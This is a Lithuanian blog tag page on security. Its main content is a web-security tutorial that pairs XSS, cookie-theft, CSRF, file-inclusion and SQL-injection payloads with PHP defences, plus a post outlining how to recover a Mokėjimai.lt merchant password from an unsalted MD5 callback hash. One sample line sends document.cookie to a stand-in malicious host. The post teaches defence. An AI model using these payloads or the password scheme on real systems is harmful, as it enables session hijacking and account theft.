Žymės įrašai

Liepa31

Vairuotojai! Kalbėkite dar daugiau! (Komentarai 77)

Žymės: saugumas,tele2,reklama

Pasidalink!

Vairuotojai! Kalbėkite dar daugiau!

Turbūt sunku važiuojant autostrada A2 į Vilnių nepastebėti šios reklamos. Didelė, atkreipianti dėmesį...

Bet mane jau juodai užkniso vairuotojai ir, ypač, vairuotojos ir taip pakankamai daug kalbantys telefonu už vairo.

Jei tik kelyje koks nors automobilis "daro nesąmones", itin didelė tikimybė, jog už jo vairo sėdi telefonu kalbanti moteriškė, o tokios reklamos - puiki priemonė tokių "belekaip" važinėjančių automobilių skaičiaus augimui skatinti. Super!

Rugsėjis08

Vaikas bagažinėje (Komentarai 146)

Žymės: saugumas,vaikai

Pasidalink!

Vaikas bagažinėje

Gerbiami vairuotojai, noriu priminti, kad žmones reikia vežti automobilio salone (vaikus - pageidautina specialiose kėdutėse), o ne bagažinėse.

Spalis27

Tinklalapių saugumas (Komentarai 100)

Žymės: php,saugumas,xss,csrf

Pasidalink!

:X

Šiame straipsnyje aprašomos tinklalapių saugumo skylės, pateikiant jų panaudojimo pavyzdžius bei apsisaugojimo būdus. Aptariamos šios atakos:

  • XSS (Cross-site scripting)
  • UTF-7 XSS
  • Cookie/session hijacking
  • CSRF (Cross-site request forgery)
  • Code injection: Directory traversal/Remote file inclusion
  • Malicious file upload
  • HTTP Redirect išnaudojimas
  • SQL injection.

Pavyzdžiai pateikiami PHP programavimo kalba.

Ataka: XSS (Cross-site scripting)

Kaip vykdoma ataka

Ataka vykdoma tuo atveju, kai pagal vartotojo įvestus duomenis formuojamas puslapio turinys (pvz.: rašant komentarus, pasisakymus, netikrinami duomenys vartotojo varduose, pavardėse, atliekant paiešką ir pan.).
Tinklalapis yra pažeidžiamas tuo atveju, kai rodant vartotojo duomenis galima įvykdyti Javascript kodą.
Pavyzdžiui, atliekant įrašą tinklalapio svečių knygoje įvedamas tekstas: <script>alert('You\'ve been hacked!')</script>
Analogiškas tekstas bus rodomas formuojant HTML turinį, tuo pačiu įvykdant ir kodą.
Analogiška situacija yra vykdant paiešką ir, pavyzdžiui, ieškant teksto su HTML tag'ais. Jei paieškos rezultate parodoma ieškota frazė su visu HTML'u tokį puslapį galima panaudoti perimant vartotojo slapuką ir sesiją (cookie/session hijacking).
Leidžiant įvesti kai kuriuos HTML elementus (pvz.: IMG, A, B, I...) galima pridėti atributą (pvz.: onmouseover) ir įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Paprasčiausias metodas - neleisti apskritai įvesti HTML kodo, o vietose, kur rodomas vartotojo įvestas tekstas, jį strip'int naudojant strip_tags() ar htmlspecialchars().
Jei sistemoje yra leidžiama įvesti kai kuriuos HTML elementus, būtina išvalyti Javascript event'ų atributus (prasidedančius "on..."). Tam galima naudoti išorinę programą "Tidy" arba naudoti reguliarias išraiškas.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_scripting

Ataka: UTF-7 XSS

Kaip vykdoma ataka

Ataka vykdoma pasinaudojant naršyklės savybe "nuspėti" naudojamą simbolių rinkinį.
UTF-7 leidžia bet kokį simbolį išreikšti ASCII simboliais, o naršyklė bandydama nuspėti, kokia koduotė naudojama, UTF-7 užkoduotus simbolius gali paversti į reprezentuojamus simbolius, kurie leidžia įvykdyti ataką.
Pavyzdžiui, UTF-7 koduotėje simbolis < žymimas +ADw, o simbolis > +AD4. Tokiu atveju formuojant antraštę (TITLE) iš simbolių:
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
bus gaunamas realus vaizdas:
<script>alert(document.location)</script>
Tai suteikia galimybę įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Visada siųsti koduotės nustatymus prie HTTP antraštės, pvz.:
header('Content-type: text/html; charset=UTF-8');
Prieš bet kokį dinamiškai formuojamą tekstą (pvz.: TITLE elementą), įrašyti koduotę nustatančią eilutę, pvz.:
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
Plačiau: http://openmya.hacker.jp/hasegawa/security/utf7cs.html

Ataka: Cookie/session hijacking

Kaip vykdoma ataka

Ataka remiasi tinklalapio XSS pažeidžiamumu. Jos esmė - naudojant išorinį elementą gauti vartotojo slapuką, kuriame įrašytas sesijos ID.
Pavyzdžiui, įterpus elementą:
<div onmouseover="document.getElementById('a').innerHTML='<img src=http://kenkejiskas-saitas.com/vagiam-cookie.php?'+document.cookie+' width=0 height=0/>'" style="height: 100px"></div>
<div id="a" />

Užvedus pelyte ant pirmojo bloko, bus įvykdomas Javascript kodas, kuris užkraus skriptą ir perduos jam visus slapukų duomenis (pastarieji gali būti išsiunčiami el. paštu ar kitaip perduodami), kartu ir sesijos ID. Piktavaliui užtenka pačiam įdėti slapuką su sesijos duomenimis ir jis jau bus prisijungęs prie sistemos kaip kitas vartotojas.
Sesijos ID gali būti perimamas ir tuo atveju, jei vartotojo naršyklė nepalaiko slapukų. Tokiu atveju PHP automatiškai prideda sesijos ID prie kiekvienos nuorodos ir kaip HIDDEN lauką formose.

Kaip apsisaugoti nuo atakos

Vartotojui prisijungiant, reikia išsaugoti IP adresą, iš kurio vartotojas jungiasi. PHP $_SERVER masyve IP adresą reprezentuoja REMOTE_ADDR ir HTTP_X_FORWARDED_FOR (jei naudojamasi Proxy serveriu) elementai.
Kaskart atliekant užklausą į serverį reikia patikrinti, ar užklausa įvykdoma iš to paties IP (bei IP forwarded) adreso. Jei reikšmės nesutampa, neleidžiama atlikti jokio veiksmo, o sesija panaikinama.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Session_fixation, http://en.wikipedia.org/wiki/Session_hijacking, http://en.wikipedia.org/wiki/Session_poisoning, http://en.wikipedia.org/wiki/Cross-site_cooking

Ataka: CSRF (Cross-site request forgery)

Kaip vykdoma ataka

Tarkime, žinoma, jog vartotojas yra prisijungęs prie kažkokio interneto tinklalapio.
Taipogi žinoma, kokia nuoroda kokį veiksmą atlieka. Pagal turimas žinias suformuojama nuoroda, kuri atlieka atitinkamą veiksmą ir nematomai patalpinama kažkokiama tinklalapyje. Pavyzdžiui:
<img src="http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&amp;suma=1000Lt" />
Tuomet vartotojui pasiūloma apsilankyti kenkėjišką kodą turinčiame tinklalapyje. Ir vartotojui nepastebint, įvykdomas atitinkamas veiksmas.
POST metodas negelbsi, kadangi kenkėjiškame puslapyje gali būti ir automatiškai įvykdoma forma, ir IFRAME elementas. Tikrinti HTTP_REFERER taipogi neefektyvu, kadangi šiuos duomenis galima suklastoti.

Kaip apsisaugoti nuo atakos

Efektyvus sprendimas yra kiekvienam veiksmui generuoti atsitiktinę simbolių seką (žetonus - token'us), kuri, vykdant nuorodą, patikrinama. Tokiu atveju saugi nuoroda atrodytų taip: http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&suma=1000Lt&token=Jdf1S19cQ, kurios paskutinis elementas kaskart būtų skirtingas. Analogiškai token'ai turėtų būti įterpiami į formas HIDDEN laukų pavidalu.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_request_forgery

Ataka: Code injection: Directory traversal/Remote file inclusion

Kaip vykdoma ataka

Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis
PHP skriptas:
include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas
bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd)
Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.

Kaip apsisaugoti nuo atakos

Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą kodą. Pavyzdžiui:
$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
    echo 'OK';
else
    exit('Toks modulis neegzistuoja');
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Code_injection, http://en.wikipedia.org/wiki/Directory_traversal, http://en.wikipedia.org/wiki/Remote_File_Inclusion

Ataka: Malicious file upload

Kaip vykdoma ataka

Naudojantis failo įkėlimo forma, įkeliamas skriptas, kuris įvykdomas per naršyklę. Toks skriptas sistemoje gali atlikti bet kokį darbą - nuo failų bei duomenų bazės informacijos nuskaitymo, įrašymo, modifikavimo iki visiško sunaikinimo.

Kaip apsisaugoti nuo atakos

Visada tikrinti įkeliamo failo MIME tipą ir leisti įkelti tik patikimus failų formatus.
Taip pat naudojant trečių šalių aplikacijas (pvz.: WYSIWYG redaktorius) pašalinti DEMO puslapius, kurie leidžia neribotai naudotis sistema. Vertėtų pasirūpinti, kad neprisijungusiems vartotojams nebūtų galima naudotis trečių šalių programomis (tam gali tekti modifikuoti pačią sistemą ir nepamiršti to atnaujinant sistemą į naujesnę versiją).

Ataka: HTTP Redirect išnaudojimas

Kaip vykdoma ataka

Siunčiant HTTP header'į "Location", naršyklė atveria nurodytą tinklalapį, vartotojui nerodydama HTML kodo, net jei jis perduodamas.
Visgi, jei HTML kodas yra perduodamas, jį galima gauti naudojant CURL biblioteką, taip gaunant papildomos informacijos (paprastam vartotojui nematomas nuorodas, tekstą ir pan.), kas gali palengvinti įsilaužimą į sistemą.

Kaip apsisaugoti nuo atakos

Po kiekvieno HTTP redirect'o, naudojant header('Location: ...'); baigti skripto vykdymą su exit();

Ataka: SQL injection

Kaip vykdoma ataka

Formuojant SQL užklausą dažnai tenka į ją įtraukti duomenis, kuriuos perduoda vartotojas.
Pavyzdžiui, kviečiant užklausą http://example.com/getUserData.php?user=59 turi būti formuojama tokia SQL užklausa:
SELECT * FROM users WHERE id=59
Tiesiogiai paimant duomenis su PHP eilutė atrodytų taip:
$result = mysql_query('SELECT * FROM users WHERE id='.$_GET['id']);
Vietoje parametro "id" perduodant kenksmingą kodą galima suformuoti bet kokią užklausą, pvz.:
http://example.com/getUserData.php?user=59 OR 1=1 - bus sugeneruota užklausa, kuri gražins visus įrašus iš duomenų lentelės.
Panaudojant SQL injection atakas galima ne tik gauti, bet ir modifikuoti duomenis bei nuskaityti duomenis, esančius failuose.

Kaip apsisaugoti nuo atakos

Tam, kad apsisaugoti nuo šio tipo atakų, reikia patikrinti kiekvieną argumentą, perdudodamą SQL užklausai.
Galima naudoti PHP funkciją mysql_real_escape_string(), o skaitinėms reikšmėms patikrinti, ar tai tikrai skaičius, naudojant is_numeric() arba typecast'inant kintamąjį į skaičių, naudojant settype() arba (int)$kintamasis;
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/SQL_injection

Gruodis14

Interneto naršyklių saugumo žinynas (Komentarai 103)

Žymės: saugumas

Pasidalink!

Neseniai Google išplatino Interneto naršyklių saugumo žinyną. Žinomo lenkų hakerio ir saugumo eksperto Michalo Zalewskio redaguojamame žinyne apžvelgiamos populiariausios Interneto naršyklės įvairiais saugumo aspektais, lyginamas jų atsparumas įvairioms atakoms. Neabejotinai naudingas šaltinis besidomintiems Interneto tinklalapių saugumu.

Vasaris04

Naujose asmens tapatybės kortelėse - skaitmeniniai sertifikatai ir OpenID palaikymas (Komentarai 136)

Žymės: saugumas,openid

Pasidalink!

OpenID

Nuo 2009 metų sausio išduodamose naujose asmens tapatybės kortelėse yra įmontuoti lustai, kuriuose įrašyti skaitmeniniai sertifikatai. Šios priemonės leis vartotojui identifikuoti save elektroninėje erdvėje. Vartotojų identifikavimui pasirinktas atviras OpenID protokolas, o OpenID tiekėjo serveris, panašu, jau veikiantis.

Iniciatyva sveikintina, o žinant, jog Estijoje ji jau veikia, reikia tikėtis, jog pasiteisins ir Lietuvoje.

Prisijungimas vyksta specialiu įrenginiu nuskaitant asmens tapatybės kortelėje esantį skaitmeninį sertifikatą ir įvedant slaptažodį, taip užtikrinant tikrą asmens tapatybę.

Ką gi visa tai reiškia?

  1. Pagaliau turėsime valstybiniu lygiu pripažintą technologiją, leidžiančią naudoti skaitmeninį parašą. Nebereikės būti prisirišus prie komercinių e-parašo tiekėjų. Ir galėsime e-parašu naudotis kiekvienas.
  2. Prisijungti prie valstybinių institucijų galėsime naudodamiesi vien savo asmens identifikavimo kortele. Dabar norint internetu pildyti deklaraciją, peržiūrėti SoDRos duomenis ar naudotis bet kuria kita valstybine e-paslauga, būtina turėti sąskaitą banke ir e-bankininkystės sutartį. Dabar to nebereikės - patvirtinti savo tapatybę nebereiks tarpinio žingsnio - komercinio nevalstybinio banko.
  3. Interneto tinklalapiai, naudojantys OpenID vartotojų autentifikacijai, galės gauti tikslius vartotojo duomenis: vardą, pavardę, gimimo datą etc. Taip bus atveriamos papildomos galimybės e-komercijai bei kitoms elektroninėje erdvėje teikiamoms paslaugoms, kurioms reikia patvirtinti vartotojo tapatybę.
  4. Atvirų pasauliniu lygiu pripažintų standartų adaptavimas rodo, jog Lietuva neatsilieka nuo pasaulinių tendencijų.

Informacijos šaltiniai:

My name is Arthur, althou I'm not an active OpenID EU member I
believe in OpenID convenience and promote and convince people to use
OpenID.
I though you might be interested in news I have for you.

Last year I did a presentation about OpenID for Lithuanian parliament,
which led to two workgroups within Lithuanian ministry of Inferior
(http://www.vrm.lt/index.php?id=124&lang=2) and Information Society
Development Committee under the Government of Lithuania
(http://www.ivpk.lt/main_en.php?cat=0). The result of these workgroups
was a decission to implement support and merge OpenID into new
Lithuanian Personal Identity Card
(http://www.dokumentai.lt/en/pic.php).

8 months ago I prepared OpenID specification for Ministry of Inferior
and today I can proudly present a new Lithuanian state Personal ID
card (http://www.dokumentai.lt/atk.php) with digital certificate
(x.509) and full OpenID 2.0 and PAPE extension support.

That said, starting January 1st 2009 every issued Personal ID card has
OpenID in it, backed up by personal digital certificate. National
Sertificate Center under the Ministry of Inferior will be the national
OpenID provider (https://openid.vrm.lt/). Provider service is currently
in testing mode, it is not yet open to the general public, but it will
go public anytime soon.

Information on sites I mentioned here might be in Lithuanian language
only, so should you have any questions - please do not hestitate to
ask me.

 

Rugpjūtis26

Mokėjimai.lt saugumo spragos ir dviprasmiška specifikacija (Komentarai 191)

Žymės: php,saugumas,mokėjimai

Pasidalink!

Mokėjimai.lt

Norint Internete vystyti verslą, kuomet reikia realizuoti mokėjimus Internete, yra 2 galimybės: sudaryti su keliais bankais sutartis, arba rinktis tarpininką. Pirmasis variantas yra gana komplikuotas ir brangus: sutartys su bankais ir mėnesiniai mokesčiai yra dideli, be to, techninė realizacija reikalauja specifinių technių žinių, kai kurie bankai reikalauja ir SSL sertifikato. Kitas, daugeliu atveju paprastesnis variantas yra rinktis tarpininką, kuris turi vieningą interfeisą visiems mokėjimų tipams, o kainą, ypač smulkesniam projektui, gali pasiūlyti itin konkurencingą. Vienas populiariausių tokių servisų Lietuvoje - mokėjimai.lt.

EVP, sukūrę mokėjimai.lt, eparasas.lt, manoid.lt ir kitus projektus, eina teisinga kryptimi, tačiau kai kurie požymiai rodo, jog gražiame įpakavime galima rasti neaišku ką... Vien jų OpenID implementacija, kuomet priimami tik manoid.lt vartotojai, rodo, jog jie nesupranta ir nepalaiko šios sistemos. Kai kurių sistemų siunčiama "User Agent" reikšmė yra "IDAMAS XML Sender", kas irgi rodo, jog kai kurių produktų kūrimu užsiima ne jie. Tiesiog outsource'ingas ar per mažas žinių ir patirties bagažas?

Grįžtant prie mokėjimai.lt, Diegiant ją į savo sistemą, vadovautis jų pateikta specifikacija nepavyks, kadangi ji... neteisinga! Funkcija, kuri turėtų patikrinti, ar mokėjimas teisingas, lietuviškoje ir angliškoje specifikacijos versijoje aprašytos skirtingai.

Lietuviškasis variantas:

 

//DĖMESIO: Nepamirškite funkcijoje įrašyti savo www.mokejimai.lt slaptažodį.
$your_pass = 'slaptazodis'; //irasome slaptazodi is jusu mokejimai.lt sistemos
$test_mode = 1; //1- kuomet testuojate. 0 - kuomet jau veikia sistema tikru rezimu.
if( mk_check ( $your_pass, $_REQUEST['orderid'],$_REQUEST['merchantid'] ) != $_REQUEST['_ss1'] || $_REQUEST['test'] <> $test_mode){
    die ("šaltinis netikras"); 
} 

function mk_check ( $password, $id, $mechant_id ) {
    return md5("{$password}|{$id}|{$_SERVER['REMOTE_ADDR']}|{$mechant_id}");
}

 

Tuo tarpu angliškas (webtopay.com) variantas:

 

    $your_webtopay_pass = md5("mypassword"); // please, enter your webtopay.com password
    if ( TestTransaction( $_GET['_ss1'], $your_webtopay_pass, $_GET['orderid'] ) ){ //verification of information source.
        //Everything is OK
    }else{
        //Something is wrong
    }

    function TestTransaction( $transaction, $userPassword, $ordeID, $test = 0, $status = 1 ){
        return ( $transaction == md5("{$userPassword}|{$ordeID}|{$test}|{$status}") );
    }

 

Kodai akivaizdžiai skiriasi, tačiau, nors angliškasis variantas arčiausiai tiesos, testiniame režime kintamasis $test vistiek bus lygus 0, ir md5 hash'ai nesutaps.

Tiesa, jie visus duomenis pasirašo viešojo rakto principu naudodami SSL sertifikatą, todėl yra ir kitas būdas patikrinti duomenų validumą.

Žiūrint į šią funkciją galima pastebėti vieną dalyką: žinant GET perduodamus duomenis (orderid ir _ss1) galime ir sužinoti prisijungimo prie mokėjimai.lt sistemos slaptažodį. Tai tik teorinė prielaida, tačiau ji turėtų suveikti. Kas nors galbūt ją ir patiktins ;)

Mokėjimo sistemos veikimo schema yra tokia:

1. Vartotojas formos duomenis (čia turime Order ID) perduoda mokėjimai.lt sistemai

2. Vartotojas nukreipiamas į banką ir ten sumoka pinigėlius. Grįžta į mokėjimai.lt

3. Siunčiama užklausa (su _ss1) kliento sistemai. Klientas pasižymi, kad už jo paslaugas ar prekes buvo apmokėta.

4. Vartotojas grąžinamas pas klientą

Viskas, ką reikia padaryti, kad gauti _ss1 reikšmę, yra pakeisti callback URL (duomenys juk nepasirašomi) kliento puslapyje (tam gali pasitarnauti ir Firebug). Tada 3 punkto užklausa bus siunčiama ne klientui, o ten, kur jūs pageidausite. Štai čia ir sužinosime _ss1 reikšmę.

O toliau elementarus brute-force, arba paieška iš rainbow table (juk jokia druskelė neįmaišoma į MD5 algoritmą).

Ir štai - turime vartotojo slaptažodį, kuriuo prisijungsime prie mokėjimai.lt sistemos.

Apie mokėjimai.lt saugumą taip pat rašė Steponas Kazakevičius.

Vasaris15

Užklausos tarp skirtingų domenų (Komentarai 394)

Žymės: saugumas,ajax,http,xmlhttprequest,flash,cookies,jsonp,proxy

Pasidalink!

AJAX

XMLHttpRequest (AJAX) užklausos

Naršyklės įprastai neleidžia daryti XMLHttpRequest (liaudyje labiau žinomo kaip AJAX) užklausų į kitą domeną, kadangi tai neatitinka Same Origin Policy saugumo koncepcijos.

Firefox 3.5 ir Safari 4 buvo įdiegta naujai sukurta naršyklių technologija CORS (cross-origin resource sharing), kuri leidžia daryti XMLHttpRequest užklausas į kitus domenus, kai šie patvirtina, jog leidžia konkretiems šaltiniams daryti užklausas.

Kaip tai veikia?

Vartotojo naršyklė, siųsdama XMLHttpRequest užklausą į kitą domeną, siunčia HTTP request header'į Origin su savo domeno reikšme.

Serveris siunčia atsakymą su HTTP response header'iu Access-Control-Allow-Origin su konkretaus domeno, kuriam leidžiama daryti užklausas, reikšme, arba * reikšme, kuri leidžia visiems šaltiniams daryti užklausas. HTTP response headerio formavimo pavyzdžiai PHP kalba:

header('Access-Control-Allow-Origin: http://www.domenas.tld');

header('Access-Control-Allow-Origin: *');

Šiuos header'ius taip pat gali siųsti ir pats HTTP serveris, pvz.: Apache, naudojant mod_headers modulį.

Daugeliu atveju to turėtų pakakti, tačiau CORS specifikacija leidžia daryti sudėtingesnes užklausas, nurodant leidžiamą HTTP metodą, atitinkamus header'ius ir kt., pvz.:

HTTP request header'iai:

Origin: http://www.domenas.tld
Access-Control-Request-Method: POST
Access-Control-Request-Headers: belekoks-headeris

HTTP response header'iai

Access-Control-Allow-Origin: http://www.domenas.tld
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: belekoks-headeris
Access-Control-Max-Age: 1728000

Tam tikrais atvejais reikia nurodyti HTTP response header'į, leidžiantį XMLHttpRequest užklausas:

Access-Control-Allow-Headers: X-Requested-With

JSONP

Kitas būdas, norint gauti ir apdoroti duomenis yra naudoti <script> elementus, kadangi jiems negalioja Same Origin Policy, pvz.:

<script type="text/javascript" src="http://kitas-domenas.tld/skriptas.php?parametras=reiksme"></script>

Tačiau kadangi šis skriptas bus iškart įvykdytas, vien duomenų pasiimti nepavyks. Dėl to, skriptas turi grąžinti kvietimą į funkciją, kuri apdoros duomenis. Pvz. šiuo atveju skriptas.php turėtų grąžinti tokį rezultatą:

funkcija({"jsonDuomenuStruktura": "reiksme"});

Čia funkcija - Javascript funkcija, kuri apdoroja gautus duomenis.

Šis metodas vadinamas JSONP (JSON with prefix).

Akivaizdu, kad šiuo metodu galima gauti ir perduoti duomenis tik GET metodu. Be to, serveris, kuris grąžina rezultatus turi būti pritaikytas JSONP duomenų perdavimui, t.y. turi būti galimybė parametrais nurodyti funkciją, kuri bus iškviečiama.

Taip pat, kadangi įterpiamas svetimas Javascript kodas, atsiranda galimų saugumo spragų, nes skriptas gali įrašyti bet kokį HTML kodą ir kitaip manipuliuoti turiniu, be to atsiranda galimybė perimti duomenis naudojant CSRF pažeidžiamumą.

Vietinis proxy

Dar vienas metodas yra naudoti skriptą tame pačiame domene, kuris serverio (ne naršyklės) lygyje padarytų HTTP užklausą į kitą domeną ir grąžintų rezultatus, pvz.: failas proxy.php, esantis tame pačiame domene:

<?php
echo file_get_contents('http://kitas-domenas.tld/skriptas.php'); // Geriau naudoti cURL

Tokiu atveju pakaks daryti užklausą į tame pačiame domene esantį proxy.php ir taip patenkinti Same Origin Policy saugumo koncepciją.

Adobe Flash užklausos

Adobe Flash elementai, darydami užklausą į kitą serverį (pvz.: norėdami pasiimti tam tikrus duomenis), kreipiasi į tame domene esantį crossdomain.xml failą (pvz.: http://www.domenas.tld/crossdomain.xml), kuriame aprašomos taisyklės, nurodančios, kokiems šaltiniams leidžiama skaityti duomenis iš serverio.

crossdomain.xml failo pavyzdys:

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*"/>
    <allow-http-request-headers-from domain="*" headers="X-Requested-With"/>
</cross-domain-policy>

Verta pastebėti, jog darydamas užklausas, Flash neperduoda slapukų (pvz.: sesijos identifikatorių), todėl juos perduoti reikia kaip atskirus Flash parametrus.

Bonus tip: HTTP headeris Content-disposition

Pavyzdys: failas http://www.domenas.tld/paveikslelis.php generuoja paveikslėlį, tačiau norint jį išsaugoti, siūlomas failo vardas bus paveikslelis.php.

Norint jį pakeisti, galime siųsti HTTP response header'į:

Content-disposition: inline; filename="grazus-pavasaris.jpg"

Jei norime iškart iškviesti failo išsaugojimo langą, galime nurodyti:

Content-disposition: attachment; filename="grazus-pavasaris.jpg"

« 1 »

Žymės RSS Žymės RSS